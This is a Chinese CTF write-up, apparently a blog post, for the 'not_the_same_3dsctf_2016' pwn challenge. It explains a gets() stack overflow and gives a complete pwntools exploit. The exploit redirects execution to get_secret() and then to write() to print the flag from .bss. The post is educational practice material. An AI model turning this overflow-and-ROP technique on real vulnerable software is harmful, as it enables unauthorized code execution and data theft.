not_the_same_3dsctf_2016

not_the_same_3dsctf_2016

使用checksec查看:
在这里插入图片描述
只开启了栈不可执行。

放进IDA中分析:
在这里插入图片描述

  • gets(&v4);:存在栈溢出

main()函数上面发现一个get_secret()函数:
在这里插入图片描述
在这里插入图片描述

  • fgets(&fl4g, 45, v0);:将读取到的flag存在了bss段上地址为080ECA2D

题目思路

  • 主函数存在栈溢出,可通过该栈溢出将返回地址覆盖成get_secret()的地址。
  • flag已经读取到bss段中了,可通过write函数将bss段中的flag给打印出来。

步骤解析

无需

完整exp

from pwn import *

#start
r = remote("node4.buuoj.cn",27604)
# r = process("../buu/not_the_same_3dsctf_2016")
elf = ELF("../buu/not_the_same_3dsctf_2016")

#params
flag_func_addr = elf.symbols['get_secret']
flag_addr=0x80ECA2D

#attack
payload=b'M' * 45 + p32(flag_func_addr) + p32(elf.sym['write']) + b'M'*4 + p32(1) + p32(flag_addr) + p32(100)
r.sendline(payload)

r.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值